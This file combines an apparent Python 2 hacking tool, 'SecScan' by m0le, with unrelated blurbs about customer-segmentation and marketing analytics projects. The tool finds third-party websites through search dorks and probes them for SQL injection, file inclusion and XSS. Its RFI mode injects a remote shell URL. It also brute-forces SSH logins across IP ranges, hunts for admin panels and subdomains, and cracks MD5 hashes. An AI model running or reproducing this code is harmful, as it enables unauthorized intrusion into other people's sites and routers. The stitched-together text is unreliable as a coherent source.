#!/usr/bin/env python import re import hashlib import Queue from random import choice import threading import time import urllib2 import sys import socket try: import paramiko PARAMIKO_IMPORTED = True except ImportError: PARAMIKO_IMPORTED = False USER_AGENT = ["Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3", "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)", "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)", "Mozilla/5.0 (Windows; U; Windows NT 5.1) AppleWebKit/535.38.6 (KHTML, like Gecko) Version/5.1 Safari/535.38.6", "Mozilla/5.0 (Macintosh; U; U; PPC Mac OS X 10_6_7 rv:6.0; en-US) AppleWebKit/532.23.3 (KHTML, like Gecko) Version/4.0.2 Safari/532.23.3" ] option = ' ' vuln = 0 invuln = 0 np = 0 found = [] class Router(threading.Thread): """Checks for routers running ssh with given User/Pass""" def __init__(self, queue, user, passw): if not PARAMIKO_IMPORTED: print 'You need paramiko.' print 'http://www.lag.net/paramiko/' sys.exit(1) threading.Thread.__init__(self) self.queue = queue self.user = user self.passw = passw def run(self): """Tries to connect to given Ip on port 22""" ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) while True: try: ip_add = self.queue.get(False) except Queue.Empty: break try: ssh.connect(ip_add, username = self.user, password = self.passw, timeout = 10) ssh.close() print "Working: %s:22 - %s:%s\n" % (ip_add, self.user, self.passw) write = open('Routers.txt', "a+") write.write('%s:22 %s:%s\n' % (ip_add, self.user, self.passw)) write.close() self.queue.task_done() except: print 'Not Working: %s:22 - %s:%s\n' % (ip_add, self.user, self.passw) self.queue.task_done() class Ip: """Handles the Ip range creation""" def __init__(self): self.ip_range = [] self.start_ip = raw_input('Start ip: ') self.end_ip = raw_input('End ip: ') self.user = raw_input('User: ') self.passw = raw_input('Password: ') self.iprange() def iprange(self): """Creates list of Ip's from Start_Ip to End_Ip""" queue = Queue.Queue() start = list(map(int, self.start_ip.split("."))) end = list(map(int, self.end_ip.split("."))) tmp = start self.ip_range.append(self.start_ip) while tmp != end: start[3] += 1 for i in (3, 2, 1): if tmp[i] == 256: tmp[i] = 0 tmp[i-1] += 1 self.ip_range.append(".".join(map(str, tmp))) for add in self.ip_range: queue.put(add) for i in range(10): thread = Router(queue, self.user, self.passw ) thread.setDaemon(True) thread.start() queue.join() class Crawl: """Searches for dorks and grabs results""" def __init__(self): if option == '4': self.shell = str(raw_input('Shell location: ')) self.dork = raw_input('Enter your dork: ') self.queue = Queue.Queue() self.pages = raw_input('How many pages(Max 20): ') self.qdork = urllib2.quote(self.dork) self.page = 1 self.crawler() def crawler(self): """Crawls Ask.com for sites and sends them to appropriate scan""" print '\nDorking...' for i in range(int(self.pages)): host = "http://uk.ask.com/web?q=%s&page=%s" % (str(self.qdork), self.page) req = urllib2.Request(host) req.add_header('User-Agent', choice(USER_AGENT)) response = urllib2.urlopen(req) source = response.read() start = 0 count = 1 end = len(source) numlinks = source.count('_t" href', start, end) while count < numlinks: start = source.find('_t" href', start, end) end = source.find(' onmousedown="return pk', start, end) link = source[start+10:end-1].replace("amp;","") self.queue.put(link) start = end end = len(source) count = count + 1 self.page += 1 if option == '1': for i in range(10): thread = ScanClass(self.queue) thread.setDaemon(True) thread.start() self.queue.join() elif option == '2': for i in range(10): thread = LScanClass(self.queue) thread.setDaemon(True) thread.start() self.queue.join() elif option == '3': for i in range(10): thread = XScanClass(self.queue) thread.setDaemon(True) thread.start() self.queue.join() elif option == '4': for i in range(10): thread = RScanClass(self.queue, self.shell) thread.setDaemon(True) thread.start() self.queue.join() class ScanClass(threading.Thread): """Scans for Sql errors and ouputs to file""" def __init__(self, queue): threading.Thread.__init__(self) self.queue = queue self.schar = "'" self.file = 'sqli.txt' def run(self): """Scans Url for Sql errors""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: global vuln global invuln global np test = site + self.schar try: conn = urllib2.Request(test) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall("error in your SQL syntax", data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('oracle.jdbc.', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('system.data.oledb', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('SQL command net properly ended', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('atoracle.jdbc.', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('java.sql.sqlexception', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('query failed:', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('postgresql.util.', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('mysql_fetch', data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('Error:unknown', data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('JET Database Engine', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('Microsoft OLE DB Provider for', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('mysql_numrows', data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('mysql_num', data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('Invalid Query', data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('FetchRow', data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('JET Database', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('OLE DB Provider for', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('Syntax error', data, re.I)): self.mssql(test) vuln += 1 else: print B+test + W+' <-- Not Vuln' invuln += 1 else: print R+site + W+' <-- No Parameters' np += 1 self.queue.task_done() def mysql(self, url): """Proccesses vuln sites into text file and outputs to screen""" read = open(self.file, "a+").read() if url in read: print G+'Dupe: ' + W+url else: print O+"MySql: " + url + W write = open(self.file, "a+") write.write('[SQLI]: ' + url + "\n") write.close() def mssql(self, url): """Proccesses vuln sites into text file and outputs to screen""" read = open(self.file).read() if url in read: print G+'Dupe: ' + url + W else: print O+"MsSql: " + url + W write = open (self.file, "a+") write.write('[SQLI]: ' + url + "\n") write.close() class LScanClass(threading.Thread): """Scans for Lfi errors and outputs to file""" def __init__(self, queue): threading.Thread.__init__(self) self.file = 'lfi.txt' self.queue = queue self.lchar = '../' def run(self): """Checks Url for File Inclusion errors""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: lsite = site.rsplit('=', 1)[0] if lsite[-1] != "=": lsite = lsite + "=" test = lsite + self.lchar global vuln global invuln global np try: conn = urllib2.Request(test) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall("failed to open stream: No such file or directory", data, re.I)): self.lfi(test) vuln += 1 else: print B+test + W+' <-- Not Vuln' invuln += 1 else: print R+site + W+' <-- No Parameters' np += 1 self.queue.task_done() def lfi(self, url): """Proccesses vuln sites into text file and outputs to screen""" read = open(self.file, "a+").read() if url in read: print G+'Dupe: ' + url + W else: print O+"Lfi: " + url + W write = open(self.file, "a+") write.write('[LFI]: ' + url + "\n") write.close() class XScanClass(threading.Thread): """Scan for Xss errors and outputs to file""" def __init__(self, queue): threading.Thread.__init__(self) self.queue = queue self.xchar = """<ScRIpT>alert('xssBYm0le');</ScRiPt>""" self.file = 'xss.txt' def run(self): """Checks Url for possible Xss""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: global vuln global invuln global np xsite = site.rsplit('=', 1)[0] if xsite[-1] != "=": xsite = xsite + "=" test = xsite + self.xchar try: conn = urllib2.Request(test) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall("xssBYm0le", data, re.I)): self.xss(test) vuln += 1 else: print B+test + W+' <-- Not Vuln' invuln += 1 else: print R+site + W+' <-- No Parameters' np += 1 self.queue.task_done() def xss(self, url): """Proccesses vuln sites into text file and outputs to screen""" read = open(self.file, "a+").read() if url in read: print G+'Dupe: ' + url + W else: print O+"Xss: " + url + W write = open(self.file, "a+") write.write('[XSS]: ' + url + "\n") write.close() class RScanClass(threading.Thread): """Scans for Rfi errors and outputs to file""" def __init__(self, queue, shell): threading.Thread.__init__(self) self.queue = queue self.file = 'rfi.txt' self.shell = shell def run(self): """Checks Url for Remote File Inclusion vulnerability""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: global vuln global invuln global np rsite = site.rsplit('=', 1)[0] if rsite[-1] != "=": rsite = rsite + "=" link = rsite + self.shell + '?' try: conn = urllib2.Request(link) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall('uname -a', data, re.I)): self.rfi(link) vuln += 1 else: print B+link + W+' <-- Not Vuln' invuln += 1 else: print R+site + W+' <-- No Parameters' np += 1 self.queue.task_done() def rfi(self, url): """Proccesses vuln sites into text file and outputs to screen""" read = open(self.file, "a+").read() if url in read: print G+'Dupe: ' + url + W else: print O+"Rfi: " + url + W write = open(self.file, "a+") write.write('[Rfi]: ' + url + "\n") write.close() class Atest(threading.Thread): """Checks given site for Admin Pages/Dirs""" def __init__(self, queue): threading.Thread.__init__(self) self.queue = queue def run(self): """Checks if Admin Page/Dir exists""" while True: try: site = self.queue.get(False) except Queue.Empty: break try: conn = urllib2.Request(site) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() opener.open(conn) print site found.append(site) self.queue.task_done() except urllib2.URLError: self.queue.task_done() def admin(): """Create queue and threads for admin page scans""" print 'Need to include http:// and ending /\n' site = raw_input('Site: ') queue = Queue.Queue() dirs = ['admin.php', 'admin/', 'en/admin/', 'administrator/', 'moderator/', 'webadmin/', 'adminarea/', 'bb-admin/', 'adminLogin/', 'admin_area/', 'panel-administracion/', 'instadmin/', 'memberadmin/', 'administratorlogin/', 'adm/', 'admin/account.php', 'admin/index.php', 'admin/login.php', 'admin/admin.php', 'admin/account.php', 'joomla/administrator', 'login.php', 'admin_area/admin.php' ,'admin_area/login.php' ,'siteadmin/login.php' ,'siteadmin/index.php', 'siteadmin/login.html', 'admin/account.html', 'admin/index.html', 'admin/login.html', 'admin/admin.html', 'admin_area/index.php', 'bb-admin/index.php', 'bb-admin/login.php', 'bb-admin/admin.php', 'admin/home.php', 'admin_area/login.html', 'admin_area/index.html', 'admin/controlpanel.php', 'admincp/index.asp', 'admincp/login.asp', 'admincp/index.html', 'admin/account.html', 'adminpanel.html', 'webadmin.html', 'webadmin/index.html', 'webadmin/admin.html', 'webadmin/login.html', 'admin/admin_login.html', 'admin_login.html', 'panel-administracion/login.html', 'admin/cp.php', 'cp.php', 'administrator/index.php', 'cms', 'administrator/login.php', 'nsw/admin/login.php', 'webadmin/login.php', 'admin/admin_login.php', 'admin_login.php', 'administrator/account.php' ,'administrator.php', 'admin_area/admin.html', 'pages/admin/admin-login.php' ,'admin/admin-login.php', 'admin-login.php', 'bb-admin/index.html', 'bb-admin/login.html', 'bb-admin/admin.html', 'admin/home.html', 'modelsearch/login.php', 'moderator.php', 'moderator/login.php', 'moderator/admin.php', 'account.php', 'pages/admin/admin-login.html', 'admin/admin-login.html', 'admin-login.html', 'controlpanel.php', 'admincontrol.php', 'admin/adminLogin.html' ,'adminLogin.html', 'admin/adminLogin.html', 'home.html', 'rcjakar/admin/login.php', 'adminarea/index.html', 'adminarea/admin.html', 'webadmin.php', 'webadmin/index.php', 'webadmin/admin.php', 'admin/controlpanel.html', 'admin.html', 'admin/cp.html', 'cp.html', 'adminpanel.php', 'moderator.html', 'administrator/index.html', 'administrator/login.html', 'user.html', 'administrator/account.html', 'administrator.html', 'login.html', 'modelsearch/login.html', 'moderator/login.html', 'adminarea/login.html', 'panel-administracion/index.html', 'panel-administracion/admin.html', 'modelsearch/index.html', 'modelsearch/admin.html', 'admincontrol/login.html', 'adm/index.html', 'adm.html', 'moderator/admin.html', 'user.php', 'account.html', 'controlpanel.html', 'admincontrol.html', 'panel-administracion/login.php', 'wp-login.php', 'wp-admin', 'typo3', 'adminLogin.php', 'admin/adminLogin.php', 'home.php','adminarea/index.php' ,'adminarea/admin.php' ,'adminarea/login.php', 'panel-administracion/index.php', 'panel-administracion/admin.php', 'modelsearch/index.php', 'modelsearch/admin.php', 'admincontrol/login.php', 'adm/admloginuser.php', 'admloginuser.php', 'admin2.php', 'admin2/login.php', 'admin2/index.php', 'adm/index.php', 'adm.php', 'affiliate.php','admin/admin.asp','admin/login.asp','admin/index.asp','admin/admin.aspx','admin/login.aspx','admin/index.aspx','admin/webmaster.asp','admin/webmaster.aspx','asp/admin/index.asp','asp/admin/index.aspx','asp/admin/admin.asp','asp/admin/admin.aspx','asp/admin/webmaster.asp','asp/admin/webmaster.aspx','admin/','login.asp','login.aspx','admin.asp','admin.aspx','webmaster.aspx','webmaster.asp','login/index.asp','login/index.aspx','login/login.asp','login/login.aspx','login/admin.asp','login/admin.aspx','administracion/index.asp','administracion/index.aspx','administracion/login.asp','administracion/login.aspx','administracion/webmaster.asp','administracion/webmaster.aspx','administracion/admin.asp','administracion/admin.aspx','php/admin/','admin/admin.php','admin/index.php','admin/login.php','admin/system.php','admin/ingresar.php','admin/administrador.php','admin/default.php','administracion/','administracion/index.php','administracion/login.php','administracion/ingresar.php','administracion/admin.php','administration/','administration/index.php','administration/login.php','administrator/index.php','administrator/login.php','administrator/system.php','system/','system/login.php','admin.php','login.php','administrador.php','administration.php','administrator.php','admin1.html','admin1.php','admin2.php','admin2.html','yonetim.php','yonetim.html','yonetici.php','yonetici.html','adm/','admin/account.php','admin/account.html','admin/index.html','admin/login.html','admin/home.php','admin/controlpanel.html','admin/controlpanel.php','admin.html','admin/cp.php','admin/cp.html','cp.php','cp.html','administrator/','administrator/index.html','administrator/login.html','administrator/account.html','administrator/account.php','administrator.html','login.html','modelsearch/login.php','moderator.php','moderator.html','moderator/login.php','moderator/login.html','moderator/admin.php','moderator/admin.html','moderator/','account.php','account.html','controlpanel/','controlpanel.php','controlpanel.html','admincontrol.php','admincontrol.html','adminpanel.php','adminpanel.html','admin1.asp','admin2.asp','yonetim.asp','yonetici.asp','admin/account.asp','admin/home.asp','admin/controlpanel.asp','admin/cp.asp','cp.asp','administrator/index.asp','administrator/login.asp','administrator/account.asp','administrator.asp','modelsearch/login.asp','moderator.asp','moderator/login.asp','moderator/admin.asp','account.asp','controlpanel.asp','admincontrol.asp','adminpanel.asp','fileadmin/','fileadmin.php','fileadmin.asp','fileadmin.html','administration.html','sysadmin.php','sysadmin.html','phpmyadmin/','myadmin/','sysadmin.asp','sysadmin/','ur-admin.asp','ur-admin.php','ur-admin.html','ur-admin/','Server.php','Server.html','Server.asp','Server/','wp-admin/','administr8.php','administr8.html','administr8/','administr8.asp','webadmin/','webadmin.php','webadmin.asp','webadmin.html','administratie/','admins/','admins.php','admins.asp','admins.html','administrivia/','Database_Administration/','WebAdmin/','useradmin/','sysadmins/','admin1/','system-administration/','administrators/','pgadmin/','directadmin/','staradmin/','ServerAdministrator/','SysAdmin/','administer/','LiveUser_Admin/','sys-admin/','typo3/','panel/','cpanel/','cPanel/','cpanel_file/','platz_login/','rcLogin/','blogindex/','formslogin/','autologin/','support_login/','meta_login/','manuallogin/','simpleLogin/','loginflat/','utility_login/','showlogin/','memlogin/','members/','login-redirect/','sub-login/','wp-login/','login1/','dir-login/','login_db/','xlogin/','smblogin/','customer_login/','UserLogin/','login-us/','acct_login/','admin_area/','bigadmin/','project-admins/','phppgadmin/','pureadmin/','sql-admin/','radmind/','openvpnadmin/','wizmysqladmin/','vadmind/','ezsqliteadmin/','hpwebjetadmin/','newsadmin/','adminpro/','Lotus_Domino_Admin/','bbadmin/','vmailadmin/','Indy_admin/','ccp14admin/','irc-macadmin/','banneradmin/','sshadmin/','phpldapadmin/','macadmin/','administratoraccounts/','admin4_account/','admin4_colon/','radmind-1/','Super-Admin/','AdminTools/','cmsadmin/','SysAdmin2/','globes_admin/','cadmins/','phpSQLiteAdmin/','navSiteAdmin/','server_admin_small/','logo_sysadmin/','server/','database_administration/','power_user/','system_administration/','ss_vms_admin_sm/'] for add in dirs: test = site + add queue.put(test) for i in range(20): thread = Atest(queue) thread.setDaemon(True) thread.start() queue.join() def aprint(): """Print results of admin page scans""" print 'Search Finished\n' if len(found) == 0: print 'No pages found' else: for site in found: print O+'Found: ' + G+site + W class SDtest(threading.Thread): """Checks given Domain for Sub Domains""" def __init__(self, queue): threading.Thread.__init__(self) self.queue = queue def run(self): """Checks if Sub Domain responds""" while True: try: domain = self.queue.get(False) except Queue.Empty: break try: site = 'http://' + domain conn = urllib2.Request(site) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() opener.open(conn) except urllib2.URLError: self.queue.task_done() else: target = socket.gethostbyname(domain) print 'Found: ' + site + ' - ' + target self.queue.task_done() def subd(): """Create queue and threads for sub domain scans""" queue = Queue.Queue() site = raw_input('Domain: ') sub = ["admin", "access", "accounting", "accounts", "admin", "administrator", "aix", "ap", "archivos", "aula", "aulas", "ayuda", "backup", "backups", "bart", "bd", "beta", "biblioteca", "billing", "blackboard", "blog", "blogs", "bsd", "cart", "catalog", "catalogo", "catalogue", "chat", "chimera", "citrix", "classroom", "clientes", "clients", "carro", "connect", "controller", "correoweb", "cpanel", "csg", "customers", "db", "dbs", "demo", "demon", "demostration", "descargas", "developers", "development", "diana", "directory", "dmz", "domain", "domaincontroller", "download", "downloads", "ds", "eaccess", "ejemplo", "ejemplos", "email", "enrutador", "example", "examples", "exchange", "eventos", "events", "extranet", "files", "finance", "firewall", "foro", "foros", "forum", "forums", "ftp", "ftpd", "fw", "galeria", "gallery", "gateway", "gilford", "groups", "groupwise", "guia", "guide", "gw", "help", "helpdesk", "hera", "heracles", "hercules", "home", "homer", "hotspot", "hypernova", "images", "imap", "imap3", "imap3d", "imapd", "imaps", "imgs", "imogen", "inmuebles", "internal", "intranet", "ipsec", "irc", "ircd", "jabber", "laboratorio", "lab", "laboratories", "labs", "library", "linux", "lisa", "login", "logs", "mail", "mailgate", "manager", "marketing", "members", "mercury", "meta", "meta01", "meta02", "meta03", "miembros", "minerva", "mob", "mobile", "moodle", "movil", "mssql", "mx", "mx0", "mx1", "mx2", "mx3", "mysql", "nelson", "neon", "netmail", "news", "novell", "ns", "ns0", "ns1", "ns2", "ns3", "online", "oracle", "owa", "partners", "pcanywhere", "pegasus", "pendrell", "personal", "photo", "photos", "pop", "pop3", "portal", "postman", "postmaster", "private", "proxy", "prueba", "pruebas", "public", "ras", "remote", "reports", "research", "restricted", "robinhood", "router", "rtr", "sales", "sample", "samples", "sandbox", "search", "secure", "seguro", "server", "services", "servicios", "servidor", "shop", "shopping", "smtp", "socios", "soporte", "squirrel", "squirrelmail", "ssh", "staff", "sms", "solaris", "sql", "stats", "sun", "support", "test", "tftp", "tienda", "unix", "upload", "uploads", "ventas", "virtual", "vista", "vnc", "vpn", "vpn1", "vpn2", "vpn3", "wap", "web1", "web2", "web3", "webct", "webadmin", "webmail", "webmaster", "win", "windows", "www", "ww0", "ww1", "ww2", "ww3", "www0", "www1", "www2", "www3", "xanthus", "zeus"] for check in sub: test = check + '.' + site queue.put(test) for i in range(20): thread = SDtest(queue) thread.setDaemon(True) thread.start() queue.join() class Cracker(threading.Thread): """Use a wordlist to try and brute the hash""" def __init__(self, queue, hashm): threading.Thread.__init__(self) self.queue = queue self.hashm = hashm def run(self): """Hash word and check against hash""" while True: try: word = self.queue.get(False) except Queue.Empty: break tmp = hashlib.md5(word).hexdigest() if tmp == self.hashm: self.result(word) self.queue.task_done() def result(self, words): """Print result if found""" print self.hashm + ' = ' + words def word(): """Create queue and threads for hash crack""" queue = Queue.Queue() wordlist = raw_input('Wordlist: ') hashm = raw_input('Enter Md5 hash: ') read = open(wordlist) for words in read: words = words.replace("\n","") queue.put(words) read.close() for i in range(5): thread = Cracker(queue, hashm) thread.setDaemon(True) thread.start() queue.join() class OnlineCrack: """Use online service to check for hash""" def crack(self): """Connect and check hash""" hashm = raw_input('Enter MD5 Hash: ') conn = urllib2.Request('http://md5.hashcracking.com/search.php?md5=%s' % (hashm)) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() opener.open(conn) data = opener.open(conn).read() if data == 'No results returned.': print '\n- Not found or not valid -' else: print '\n- %s -' % (data) class Check: """Check your current IP address""" def grab(self): """Connect to site and grab IP""" site = 'http://www.tracemyip.org/' try: conn = urllib2.Request(site) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() opener.open(conn) data = opener.open(conn).read() start = 0 end = len(data) start = data.find('onClick="', start, end) end = data.find('size=', start, end) ip_add = data[start+46:end-2].strip() print '\nYour current Ip address is %s' % (ip_add) except urllib2.HTTPError: print 'Error connecting' def output(): """Outputs dork scan results to screen""" print '\n>> ' + str(vuln) + G+' Vulnerable Sites Found' + W print '>> ' + str(invuln) + G+' Sites Not Vulnerable' + W print '>> ' + str(np) + R+' Sites Without Parameters' + W if option == '1': print '>> Output Saved To sqli.txt\n' elif option == '2': print '>> Output Saved To lfi.txt' elif option == '3': print '>> Output Saved To xss.txt' elif option == '4': print '>> Output Saved To rfi.txt' W = "\033[0m"; R = "\033[31m"; G = "\033[32m"; O = "\033[33m"; B = "\033[34m"; def main(): """Outputs Menu and gets input""" quotes = [ '\nm0le@tormail.org\n' ] print (O+''' ------------- -- SecScan -- --- v1.5 ---- ---- by ----- --- m0le ---- -------------''') print (G+''' -[1]- SQLi -[2]- LFI -[3]- XSS -[4]- RFI -[5]- Proxy -[6]- Admin Page Finder -[7]- Sub Domain Scan -[8]- Dictionary MD5 cracker -[9]- Online MD5 cracker -[10]- Check your IP address''') print (B+''' -[!]- If freeze while running or want to quit, just Ctrl C, it will automatically terminate the job. ''') print W global option option = raw_input('Enter Option: ') if option: if option == '1': Crawl() output() print choice(quotes) elif option == '2': Crawl() output() print choice(quotes) elif option == '3': Crawl() output() print choice(quotes) elif option == '4': Crawl() output() print choice(quotes) elif option == '5': Ip() print choice(quotes) elif option == '6': admin() aprint() print choice(quotes) elif option == '7': subd() print choice(quotes) elif option == '8': word() print choice(quotes) elif option == '9': OnlineCrack().crack() print choice(quotes) elif option == '10': Check().grab() print choice(quotes) else: print R+'\nInvalid Choice\n' + W time.sleep(0.9) main() else: print R+'\nYou Must Enter An Option (Check if your typo is corrected.)\n' + W time.sleep(0.9) main() if __name__ == '__main__': main()

Completed an analysis of the "Customer 100000" dataset to explore customer profiles and subscription behaviors. Used Python for data cleaning, visualization, and machine learning to segment customers, predict churn, and provide insights for targeted marketing and retention strategies.

This project focuses on customer segmentation using machine learning techniques to analyze and group customers based on their behaviors, preferences, and demographics. It applies clustering algorithms like K-means to identify distinct customer segments, helping businesses target marketing efforts and improve customer experiences. Built with Python

Final Project : Project based on a real life Business Problem. In this Project, you will be using all the skills that you have acquired throughout this course. Problem Statement Your client is a retail banking institution. Term deposits are a major source of income for a bank. A term deposit is a cash investment held at a financial institution. Your money is invested for an agreed rate of interest over a fixed amount of time, or term. The bank has various outreach plans to sell term deposits to their customers such as email marketing, advertisements, telephonic marketing and digital marketing. Telephonic marketing campaigns still remain one of the most effective way to reach out to people. However, they require huge investment as large call centers are hired to actually execute these campaigns. Hence, it is crucial to identify the customers most likely to convert beforehand so that they can be specifically targeted via call. You are provided with the client data such as : age of the client, their job type, their marital status, etc. Along with the client data, you are also provided with the information of the call such as the duration of the call, day and month of the call, etc. Given this information, your task is to predict if the client will subscribe to term deposit. Data You are provided with following files: 1. train.csv : Use this dataset to train the model. This file contains all the client and call details as well as the target variable “subscribed”. You have to train your model using this file. 2. test.csv : Use the trained model to predict whether a new set of clients will subscribe the term deposit. Data Dictionary Here is the description of all the variables : Variable Definition ID Unique client ID age Age of the client job Type of job marital Marital status of the client education Education level default Credit in default. housing Housing loan loan Personal loan contact Type of communication month Contact month day_of_week Day of week of contact duration Contact duration campaign number of contacts performed during this campaign to the client pdays number of days that passed by after the client was last contacted previous number of contacts performed before this campaign poutcome outcome of the previous marketing campaign Subscribed (target) has the client subscribed a term deposit? How good are your predictions? Evaluation Metric The Evaluation metric for this competition is accuracy. Solution Checker You can use solution_checker.xlsx to generate score (accuracy) of your predictions. This is an excel sheet where you are provided with the test IDs and you have to submit your predictions in the “subscribed” column. Below are the steps to submit your predictions and generate score: a. Save the predictions on test.csv file in a new csv file. b. Open the generated csv file, copy the predictions and paste them in the subscribed column of solution_checker.xlsx file. c. Your score will be generated automatically and will be shown in Your Accuracy Score column You can also check out the baseline Python Notebook provided to get started.

This project analyzes Superstore sales data using Python and SQL to uncover key business insights. It explores sales trends, customer behavior, and product performance across regions and segments. The goal is to help improve profit, target the right products, and guide marketing strategies.

Customer Purchase Behavior Analysis uses Python-based EDA to uncover consumer trends in festive sales. Key insights show females, married women aged 26–35, and professionals in IT/healthcare dominate spending. Results help retailers target marketing, optimize inventory, and boost profitability.

Loaded and queried data into MySQL, and visualized results using Seaborn and Matplotlib. Analyzed the Target e-commerce dataset using Python, SQL, and Jupyter Notebook to extract insights into sales trends and customer behavior to optimize marketing and sales strategies.

A data-driven Customer Segmentation project using Python, Pandas, and machine learning. It analyzes customer behavior, identifies patterns through clustering, and generates meaningful segments to help businesses personalize marketing, improve targeting, and enhance revenue strategies.

You are owing a supermarket mall and through membership cards , you have some basic data about your customers like Customer ID, age, gender, annual income and spending score. Spending Score is something you assign to the customer based on your defined parameters like customer behavior and purchasing data.You own the mall and want to understand the customers like who can be easily converge [Target Customers] so that the sense can be given to marketing team and plan the strategy accordingly. By the end of this case study , you would be able to answer below questions. 1- How to achieve customer segmentation using machine learning algorithm (KMeans Clustering) in Python in simplest way. 2- Who are your target customers with whom you can start marketing strategy [easy to converse] 3- How the marketing strategy works in real world

Using the collected from existing customers, build a model that will help the marketing team identify potential customers who are relatively more likely to subscribe term deposit and thus increase their hit ratio. Resources AvailableThe historical data for this project is available in filehttps://archive.ics.uci.edu/ml/datasets/Bank+MarketingDeliverable –1(Exploratory data quality report reflecting the following)1.Univariate analysisa.Univariate analysis –data types and description of the independent attributes which should include (name, meaning, range of values observed, central values (mean and median), standard deviation and quartiles, analysis of the body of distributions / tails, missing values, outliers.2.Multivariate analysisa.Bi-variate analysis between the predictor variables and target column. Comment on your findings in terms of their relationship and degree of relation if any. Presence of leverage points. Visualize the analysis using boxplots and pair plots, histograms or density curves. Select the most appropriate attributes. 3.Strategies to address the different data challenges such as data pollution, outliers and missing values. Deliverable –2(Prepare the data for analytics)1.Load the data into a data-frame. The data-frame should have data and column description.2.Ensure the attribute types are correct. If not, take appropriate actions.3.Transform the data i.e. scale / normalize if required4.Create the training set and test set in ration of 70:30Deliverable –3(create the ensemble model)1.Write python code using scikitlearn, pandas, numpy and othersin Jupyter notebook to train and test the ensemble model.2.First create a model using standard classification algorithm. Note the model performance.3.Use appropriate algorithms and explain why that algorithm in the comment lines.4.Evaluate the model. Use confusion matrix to evaluate class level metrics i.e..Precision and recall. Also reflect the overall score of the model.5.Advantages and disadvantages of the algorithm.6.Build the ensemble models and compare the results with the base model. Note: Random forest can be used only with Decision trees.

The primary objective of the project is to obtain the effective outreach for Starbucks’ marketing campaigns by determining the offers that should be targeted to different groups of customers based on the transactions and demographics data provided. In order to achieve this, we would perform customer segmentation to segment customers into groups that respond best to a particular marketing campaign. We would also like to study the likelihood of a customer responding to a purchase offer and to determine the possible level of response or user actions like offer received, offer viewed, transaction, offer completed etc using a multi-class classification model. Through this model, we hope to determine the best offer types for each customer by the likelihood of response. Hence, we want to focus on Customer Development and Retention related issues using these customer analytics techniques.

Using Python and RFM analysis to segment 4000+customers for targeted marketing

EDA and Visualization using Python. Customer data analysis to create targeted marketing strategy.

Customer segmentation using RFM analysis in Python to identify key customer groups and enable targeted marketing.

Customer segmentation and marketing campaign analysis on 42k+ transactions. Identifies high-value customers and optimizes targeting using Python and Tableau.

Created a Capstone project(Propensity Model) to identify how likely certain target groups customers respond to the marketing campaign using Python and Machine Learning

To analyze sales data from a Diwali season using Python and derive business insights that can help improve marketing strategies, product targeting, and customer engagement.

Customer segmentation project using Python (RFM + KMeans) and Power BI to identify key customer groups and support targeted marketing strategies. Based on real ecommerce data.

Analyze e-commerce transactional data to identify high-value customers, detect trends, and optimize targeted marketing through effective customer segmentation Using Power Bi dashboard and python..

Hadoop-based Customer Segmentation project using the Online Retail Dataset. Implements MapReduce for processing and Python for preprocessing to uncover customer purchasing patterns for targeted marketing.

Cluster mall customers into segments using K-Means. Preprocess data (scaling), visualize groupings, and optimize cluster count. Tools: Python, Pandas, Scikit-learn. Ideal for targeted marketing strategies.

Analyze user churn in e-commerce using Python and ML. Churn Prediction with classification models and churned users segmentation via clustering to support targeted retention and marketing strategies.

Using Python and EDA, this project analyzes Amazon sales data to optimize performance. Insights drive strategies like seasonal promotions, targeted marketing, and inventory management, enhancing sales and customer engagement effectively.

A Python project that segments customers using K-Means clustering and includes a simple recommender system. Features data cleaning, fuzzy location matching, PCA visualization, and actionable insights for targeted marketing.

The "Consumer EV Adoption Model" employs machine learning to predict electric vehicle buying behavior. Using Python, XGBoost, and data preprocessing, it achieves over 79% accuracy, guiding targeted marketing and promoting sustainable transport.

This repository uses Python and machine learning to predict customer conversion by analyzing behavioral data. Techniques like clustering and segmentation help identify high-value customers and support targeted marketing strategies.

